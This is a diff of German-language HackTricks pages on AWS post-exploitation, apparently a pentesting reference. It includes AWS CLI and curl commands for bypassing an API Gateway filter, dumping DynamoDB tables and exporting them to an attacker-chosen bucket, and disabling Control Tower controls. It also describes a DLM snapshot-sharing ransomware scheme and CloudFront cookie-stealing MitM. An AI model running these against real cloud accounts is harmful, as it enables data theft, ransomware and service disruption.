-Daher hatte im CTF das API Gateway eine Integrationsvorlage, die **verhindert hat, dass die Flagge in einer Antwort exfiltriert wird**, wenn eine Anfrage mit `Content-Type: application/json` gesendet wurde:
+Deshalb enthielt das API Gateway im CTF ein Integration-Template, das **preventing the flag from being exfiltrated** in einer Antwort verhinderte, wenn eine Anfrage mit `Content-Type: application/json` gesendet wurde:
 ```yaml
 RequestTemplates:
 application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
 ```
-Allerdings würde das Senden einer Anfrage mit **`Content-type: text/json`** diesen Filter verhindern.
+Allerdings würde das Senden einer Anfrage mit **`Content-type: text/json`** diesen Filter umgehen.
 
-Schließlich, da das API Gateway nur `Get` und `Options` erlaubte, war es möglich, eine beliebige dynamoDB-Abfrage ohne Einschränkung zu senden, indem man eine POST-Anfrage mit der Abfrage im Body und dem Header `X-HTTP-Method-Override: GET` verwendete:
+Schließlich, da das API Gateway nur `Get` und `Options` erlaubte, war es möglich, eine beliebige dynamoDB-Abfrage ohne Einschränkung zu senden, indem man eine POST-Anfrage mit der Abfrage im Body schickte und den Header `X-HTTP-Method-Override: GET` verwendete:
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
 ### Usage Plans DoS
 
-Im Abschnitt **Enumeration** sehen Sie, wie Sie den **Nutzungsplan** der Schlüssel **erhalten** können. Wenn Sie den Schlüssel haben und er auf X Nutzungen **pro Monat** **beschränkt** ist, könnten Sie ihn **einfach verwenden und einen DoS verursachen**.
+Im **Enumeration**-Abschnitt sehen Sie, wie Sie den **usage plan** der Keys **erhalten**. Wenn Sie den Key besitzen und er auf X Nutzungen **pro Monat** **limitiert** ist, könnten Sie ihn **einfach verwenden und dadurch einen DoS verursachen**.
 
-Der **API Key** muss nur in einem **HTTP-Header** namens **`x-api-key`** **eingeschlossen** werden.
+Der **API Key** muss lediglich in einem **HTTP-Header** namens **`x-api-key`** **enthalten** sein.
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
-Ein Angreifer mit den Berechtigungen `apigateway:UpdateGatewayResponse` und `apigateway:CreateDeployment` kann **eine vorhandene Gateway-Antwort ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen leaken oder bösartige Skripte ausführen**.
+Ein Angreifer mit den Berechtigungen `apigateway:UpdateGatewayResponse` und `apigateway:CreateDeployment` kann **eine vorhandene Gateway Response ändern, um benutzerdefinierte Header oder response templates hinzuzufügen, die sensible Informationen leak oder die Ausführung bösartiger Skripte ermöglichen**.
 ```bash
 API_ID="your-api-id"
 RESPONSE_TYPE="DEFAULT_4XX"
@@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potenzielle Auswirkungen**: Leckage sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
+**Mögliche Auswirkungen**: Offenlegung sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
 
 > [!NOTE]
-> Muss getestet werden
+> Erfordert Tests
 
 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
 
-Ein Angreifer mit den Berechtigungen `apigateway:UpdateStage` und `apigateway:CreateDeployment` kann **eine vorhandene API Gateway-Stufe ändern, um den Datenverkehr auf eine andere Stufe umzuleiten oder die Caching-Einstellungen zu ändern, um unbefugten Zugriff auf zwischengespeicherte Daten zu erhalten**.
+Ein Angreifer mit den Berechtigungen `apigateway:UpdateStage` und `apigateway:CreateDeployment` kann **eine bestehende API Gateway-Stage ändern, um den Traffic auf eine andere Stage umzuleiten oder die Caching-Einstellungen zu verändern, um unbefugten Zugriff auf zwischengespeicherte Daten zu erlangen**.
 ```bash
 API_ID="your-api-id"
 STAGE_NAME="Prod"
@@ -69,14 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf zwischengespeicherte Daten, Störung oder Abfangen von API-Verkehr.
+**Potentielle Auswirkungen**: Unbefugter Zugriff auf zwischengespeicherte Daten, Störung oder Abfangen von API-Verkehr.
 
-> [!HINWEIS]
-> Testen erforderlich
+> [!NOTE]
+> Test erforderlich
 
 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
 
-Ein Angreifer mit den Berechtigungen `apigateway:PutMethodResponse` und `apigateway:CreateDeployment` kann **die Methodenantwort einer bestehenden API Gateway REST API-Methode ändern, um benutzerdefinierte Header oder Antwortvorlagen einzuschließen, die sensible Informationen leaken oder bösartige Skripte ausführen**.
+Ein Angreifer mit den Berechtigungen `apigateway:PutMethodResponse` und `apigateway:CreateDeployment` kann **die Methodenantwort einer vorhandenen API Gateway REST API-Methode ändern, um benutzerdefinierte Header oder Antwortvorlagen einzufügen, die zu einem leak sensibler Informationen führen oder bösartige Skripte ausführen**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potenzielle Auswirkungen**: Leckage sensibler Informationen, Ausführung bösartiger Skripte oder unbefugter Zugriff auf API-Ressourcen.
+**Potentielle Auswirkungen**: Offenlegung sensibler Informationen, Ausführen bösartiger Skripte oder unautorisierter Zugriff auf API-Ressourcen.
 
 > [!NOTE]
 > Muss getestet werden
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
-Ein Angreifer mit den Berechtigungen `apigateway:UpdateRestApi` und `apigateway:CreateDeployment` kann **die Einstellungen der API Gateway REST API ändern, um das Logging zu deaktivieren oder die minimale TLS-Version zu ändern, was die Sicherheit der API potenziell schwächen kann**.
+Ein Angreifer mit den Berechtigungen `apigateway:UpdateRestApi` und `apigateway:CreateDeployment` kann **die Einstellungen der API Gateway REST API ändern, um Logging zu deaktivieren oder die minimale TLS-Version zu ändern, und damit potenziell die Sicherheit der API schwächen**.
 ```bash
 API_ID="your-api-id"
 
@@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-**Potenzielle Auswirkungen**: Schwächung der Sicherheit der API, was möglicherweise unbefugten Zugriff oder die Offenlegung sensibler Informationen ermöglicht.
+**Potenzielle Auswirkungen**: Schwächung der Sicherheit der API, was möglicherweise unbefugten Zugriff ermöglicht oder sensible Informationen offenlegt.
 
 > [!NOTE]
-> Muss getestet werden
+> Weitere Tests erforderlich
 
 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
 
-Ein Angreifer mit den Berechtigungen `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` und `apigateway:CreateUsagePlanKey` kann **neue API-Schlüssel erstellen, diese mit Nutzungstarifen verknüpfen und dann diese Schlüssel für unbefugten Zugriff auf APIs verwenden**.
+Ein Angreifer mit den Berechtigungen `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` und `apigateway:CreateUsagePlanKey` kann **neue API-Schlüssel erstellen, diese mit usage plans verknüpfen und die Schlüssel dann für unbefugten Zugriff auf APIs verwenden**.
 ```bash
 # Create a new API key
 API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
 # Associate the API key with the usage plan
 aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
 ```
-**Potenzielle Auswirkungen**: Unbefugter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen.
+**Mögliche Auswirkungen**: Unbefugter Zugriff auf API-Ressourcen, Umgehung von Sicherheitskontrollen.
 
-> [!HINWEIS]
-> Test erforderlich
+> [!NOTE]
+> Tests erforderlich
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md

@@ -1,31 +0,0 @@
-# AWS - CloudFront Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### Man-in-the-Middle
-
-Dieser [**Blogbeitrag**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt einige verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder modifiziert, wenn sie bereits verwendet wird) werden könnte, um eine **Kommunikation über CloudFront** mit dem Ziel des **Diebstahls** von Benutzerinformationen (wie dem Sitzungs-**Cookie**) und der **Modifizierung** der **Antwort** (Einfügen eines bösartigen JS-Skripts) zu ermöglichen.
-
-#### Szenario 1: MitM, bei dem CloudFront so konfiguriert ist, dass es auf einige HTML-Dateien eines Buckets zugreift
-
-- **Erstelle** die bösartige **Funktion**.
-- **Assoziiere** sie mit der CloudFront-Distribution.
-- Setze den **Ereignistyp auf "Viewer Response"**.
-
-Durch den Zugriff auf die Antwort könntest du das Cookie der Benutzer stehlen und ein bösartiges JS injizieren.
-
-#### Szenario 2: MitM, bei dem CloudFront bereits eine Lambda-Funktion verwendet
-
-- **Modifiziere den Code** der Lambda-Funktion, um sensible Informationen zu stehlen.
-
-Du kannst den [**tf-Code, um diese Szenarien hier zu reproduzieren**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main) überprüfen.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md

@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) schlägt ein paar verschiedene Szenarien vor, in denen eine **Lambda** hinzugefügt (oder modifiziert, falls sie bereits verwendet wird) in eine **Kommunikation durch CloudFront** werden könnte, mit dem Zweck, Benutzerinformationen zu **stehlen** (wie das Session **cookie**) und die **Antwort** zu **modifizieren** (Einfügen eines bösartigen JS-Skripts).
+
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+
+- **Erstelle** die bösartige **Funktion**.
+- **Verknüpfe** sie mit der CloudFront-Distribution.
+- Setze den **Event-Typ auf "Viewer Response"**.
+
+Indem man die Antwort ausliest, könnte man das Session cookie des Benutzers stehlen und ein bösartiges JS injizieren.
+
+#### scenario 2: MitM where CloudFront is already using a lambda function
+
+- **Ändere den Code** der Lambda-Funktion, um sensible Informationen zu stehlen
+
+You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md

@@ -1,18 +0,0 @@
-# AWS - Control Tower Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Control Tower
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
-{{#endref}}
-
-### Kontrollen aktivieren / deaktivieren
-
-Um ein Konto weiter auszunutzen, müssen Sie möglicherweise die Kontrollen von Control Tower deaktivieren/aktivieren:
-```bash
-aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md

@@ -0,0 +1,18 @@
+# AWS - Control Tower Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Control Tower
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+{{#endref}}
+
+### Controls aktivieren / deaktivieren
+
+Um ein Konto weiter zu exploit, müssen Sie möglicherweise Control Tower Controls deaktivieren/aktivieren:
+```bash
+aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md

@@ -1,91 +0,0 @@
-# AWS - DLM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Data Lifecycle Manger (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-Ein Ransomware-Angriff kann durchgeführt werden, indem so viele EBS-Volumes wie möglich verschlüsselt und dann die aktuellen EC2-Instanzen, EBS-Volumes und Snapshots gelöscht werden. Um diese böswillige Aktivität zu automatisieren, kann man Amazon DLM verwenden, um die Snapshots mit einem KMS-Schlüssel aus einem anderen AWS-Konto zu verschlüsseln und die verschlüsselten Snapshots in ein anderes Konto zu übertragen. Alternativ könnten sie Snapshots ohne Verschlüsselung in ein von ihnen verwaltetes Konto übertragen und sie dort verschlüsseln. Obwohl es nicht einfach ist, bestehende EBS-Volumes oder Snapshots direkt zu verschlüsseln, ist es möglich, dies zu tun, indem man ein neues Volume oder Snapshot erstellt.
-
-Zunächst wird ein Befehl verwendet, um Informationen zu Volumes zu sammeln, wie z.B. Instanz-ID, Volume-ID, Verschlüsselungsstatus, Anhangsstatus und Volumentyp.
-
-`aws ec2 describe-volumes`
-
-Zweitens wird die Lebenszyklusrichtlinie erstellt. Dieser Befehl verwendet die DLM-API, um eine Lebenszyklusrichtlinie einzurichten, die automatisch tägliche Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Es werden auch spezifische Tags auf die Snapshots angewendet und Tags von den Volumes auf die Snapshots kopiert. Die policyDetails.json-Datei enthält die Einzelheiten der Lebenszyklusrichtlinie, wie z.B. Ziel-Tags, Zeitplan, die ARN des optionalen KMS-Schlüssels zur Verschlüsselung und das Zielkonto für die Snapshot-Freigabe, die in den CloudTrail-Protokollen des Opfers aufgezeichnet werden.
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-Ein Template für das Richtliniendokument kann hier gesehen werden:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md

@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Datenlebenszyklus-Manager (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+Ein ransomware-Angriff kann ausgeführt werden, indem so viele EBS-Volumes wie möglich verschlüsselt und anschließend die aktuellen EC2-Instanzen, EBS-Volumes und Snapshots gelöscht werden. Um diese bösartige Aktivität zu automatisieren, kann Amazon DLM eingesetzt werden, wobei die Snapshots mit einem KMS key aus einem anderen AWS-Konto verschlüsselt und die verschlüsselten Snapshots in ein anderes Konto übertragen werden. Alternativ könnten Snapshots unverschlüsselt in ein eigenes Konto übertragen und dort verschlüsselt werden. Auch wenn es nicht trivial ist, vorhandene EBS-Volumes oder Snapshots direkt zu verschlüsseln, ist es möglich, dies zu erreichen, indem ein neues Volume oder ein neuer Snapshot erstellt wird.
+
+Zuerst wird ein Befehl verwendet, um Informationen zu Volumes zu sammeln, wie instance ID, volume ID, encryption status, attachment status und volume type.
+
+`aws ec2 describe-volumes`
+
+Als Nächstes erstellt man die Lifecycle-Policy. Dieser Befehl verwendet die DLM-API, um eine Lifecycle-Policy einzurichten, die automatisch täglich Snapshots der angegebenen Volumes zu einer festgelegten Zeit erstellt. Sie fügt den Snapshots außerdem bestimmte Tags hinzu und kopiert Tags von den Volumes auf die Snapshots. Die Datei policyDetails.json enthält die Details der Lifecycle-Policy, wie target tags, schedule, die ARN des optionalen KMS key für die Verschlüsselung und das Zielkonto für das Teilen der Snapshots, was in den CloudTrail-Logs des Opfers protokolliert wird.
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+Eine Vorlage für das Richtliniendokument kann hier eingesehen werden:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - DynamoDB Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
-Ein attacker mit diesen Berechtigungen kann **items aus Tabellen anhand des Primärschlüssels abrufen** (man kann nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst diese erhalten, indem du die Tabellen-Metadaten abrufst (`describe-table`)).
+Ein Angreifer mit dieser Berechtigung kann **Elemente aus Tabellen anhand des Primärschlüssels abrufen** (du kannst nicht einfach alle Daten der Tabelle anfordern). Das bedeutet, dass du die Primärschlüssel kennen musst (du kannst diese erhalten, indem du die Tabellen-Metadaten abrufst (`describe-table`).
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Mögliche Auswirkung:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
+**Mögliche Auswirkungen:** Indirekter privesc durch das Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:GetItem`
 
-**Ähnlich zu den vorherigen Berechtigungen** ermöglicht diese einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, sofern der Primärschlüssel des Eintrags zum Abrufen bekannt ist:
+**Ähnlich wie bei den vorherigen Berechtigungen** ermöglicht diese, dass ein potenzieller Angreifer Werte aus nur einer Tabelle lesen kann, sofern der Primärschlüssel des abzurufenden Eintrags bekannt ist:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Potentielle Auswirkungen:** Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle
+**Potentielle Auswirkung:** Indirect privesc durch das Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:Query`
 
-**Ähnlich wie bei den vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur einer Tabelle zu lesen, sofern der Primärschlüssel des abzurufenden Eintrags vorliegt. Es ermöglicht die Verwendung eines [Teils der Vergleichsoperatoren](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der vorhanden sein muss) erlaubt ist, ist "EQ", sodass man nicht per Vergleich die gesamte Datenbank in einer Anfrage erhalten kann.
+**Ähnlich zu den vorherigen Berechtigungen** erlaubt diese einem potenziellen Angreifer, Werte aus nur 1 Tabelle zu lesen, wenn der Primärschlüssel des abzurufenden Eintrags bekannt ist. Sie erlaubt die Nutzung eines [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), aber der einzige Vergleich, der mit dem Primärschlüssel (der vorhanden sein muss) erlaubt ist, ist "EQ", sodass du nicht per Vergleich die gesamte DB in einer Anfrage abrufen kannst.
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}
 
-**Mögliche Auswirkungen:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
+**Potentielle Auswirkung:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:Scan`
 
-Mit dieser Berechtigung können Sie die gesamte Tabelle einfach dumpen.
+Sie können diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**Mögliche Auswirkung:** Indirekte privesc durch das Auffinden sensibler Informationen in der Tabelle
+**Potentielle Auswirkungen:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:PartiQLSelect`
 
-Mit dieser Berechtigung können Sie die gesamte Tabelle einfach dumpen.
+Du kannst diese Berechtigung verwenden, um **die gesamte Tabelle einfach zu dumpen**.
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Diese Berechtigung erlaubt außerdem, `batch-execute-statement` wie folgt auszuführen:
+Diese Berechtigung erlaubt es außerdem, `batch-execute-statement` auszuführen, z. B.:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-aber du musst den Primärschlüssel mit einem Wert angeben, daher ist das nicht sehr nützlich.
+Man muss jedoch den Primärschlüssel mit einem Wert angeben, daher ist es nicht sehr nützlich.
 
-**Mögliche Auswirkungen:** Indirektes privesc durch das Auffinden sensibler Informationen in der Tabelle
+**Mögliche Auswirkung:** Indirekter privesc durch das Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-Diese Berechtigung ermöglicht einem Angreifer, **die gesamte Tabelle in einen S3-Bucket seiner Wahl zu exportieren**:
+Diese Berechtigung erlaubt einem Angreifer, **die gesamte Tabelle in einen von ihm gewählten S3-Bucket zu exportieren**:
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,34 +144,34 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Beachte, dass dafür die Tabelle point-in-time-recovery aktiviert sein muss. Du kannst prüfen, ob die Tabelle das hat mit:
+Beachte, dass dafür point-in-time-recovery auf der Tabelle aktiviert sein muss; du kannst prüfen, ob die Tabelle das hat mit:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-Wenn es nicht aktiviert ist, müssen Sie **es aktivieren** und dafür benötigen Sie die **`dynamodb:ExportTableToPointInTime`**-Berechtigung:
+Wenn es nicht aktiviert ist, müssen Sie es **aktivieren**, und dafür benötigen Sie die Berechtigung **`dynamodb:ExportTableToPointInTime`**:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Mögliche Auswirkungen:** Indirektes privesc durch Auffinden sensibler Informationen in der Tabelle
+**Mögliche Auswirkungen:** Indirekte privesc durch Auffinden sensibler Informationen in der Tabelle
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
 
-Mit diesen Berechtigungen könnte ein Angreifer **eine neue Tabelle aus einem Backup erstellen** (oder sogar ein Backup erstellen, um es anschließend in einer anderen Tabelle wiederherzustellen). Dann könnte er mit den notwendigen Berechtigungen **Informationen** aus den Backups einsehen, die **nicht mehr in der Produktions-Tabelle** vorhanden sind.
+Mit diesen Berechtigungen könnte ein Angreifer **eine neue Tabelle aus einem Backup erstellen** (oder sogar ein Backup erstellen, um es dann in einer anderen Tabelle wiederherzustellen). Dann könnte er mit den notwendigen Berechtigungen **Informationen** aus den Backups prüfen, die n**icht mehr in der Produktions** tabelle.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**Potentielle Auswirkung:** Indirect privesc durch Auffinden sensibler Informationen in der Tabellensicherung
+**Mögliche Auswirkungen:** Indirekter privesc durch Auffinden sensibler Informationen im Tabellen-Backup
 
 ### `dynamodb:PutItem`
 
-Diese Berechtigung erlaubt Benutzern, ein **neues Item in die Tabelle einzufügen oder ein vorhandenes Item** durch ein neues Item zu ersetzen. Wenn bereits ein Item mit demselben Primärschlüssel existiert, wird das **gesamte Item durch das neue Item ersetzt**. Existiert der Primärschlüssel nicht, wird ein neues Item mit dem angegebenen Primärschlüssel **erstellt**.
+Diese Berechtigung erlaubt es Benutzern, ein **neues Item in die Tabelle hinzuzufügen oder ein bestehendes Item** durch ein neues Item zu ersetzen. Wenn ein Item mit demselben Primärschlüssel bereits existiert, wird das **gesamte Item durch das neue Item ersetzt**. Falls der Primärschlüssel nicht existiert, wird ein neues Item mit dem angegebenen Primärschlüssel **erstellt**.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -203,11 +203,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potentielle Auswirkungen:** Ausnutzung weiterer Schwachstellen/bypasses, da dadurch Daten in einer DynamoDB-Tabelle hinzugefügt oder geändert werden können
+**Potentieller Einfluss:** Ausnutzung weiterer Schwachstellen/Bypasses durch die Möglichkeit, Daten in einer DynamoDB-Tabelle hinzuzufügen/zu ändern
 
 ### `dynamodb:UpdateItem`
 
-Diese Berechtigung erlaubt Benutzern, **vorhandene Attribute eines Items zu ändern oder einem Item neue Attribute hinzuzufügen**. Sie ersetzt **nicht** das gesamte Item; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel nicht in der Tabelle existiert, wird die Operation ein **neues Item erstellen** mit dem angegebenen Primärschlüssel und die in der Update-Expression angegebenen Attribute setzen.
+Diese Berechtigung erlaubt es Benutzern, **die vorhandenen Attribute eines Items zu ändern oder einem Item neue Attribute hinzuzufügen**. Sie **ersetzt nicht** das gesamte Item; sie aktualisiert nur die angegebenen Attribute. Wenn der Primärschlüssel in der Tabelle nicht existiert, erstellt die Operation **ein neues Item** mit dem angegebenen Primärschlüssel und setzt die im Update-Ausdruck angegebenen Attribute.
 
 {{#tabs }}
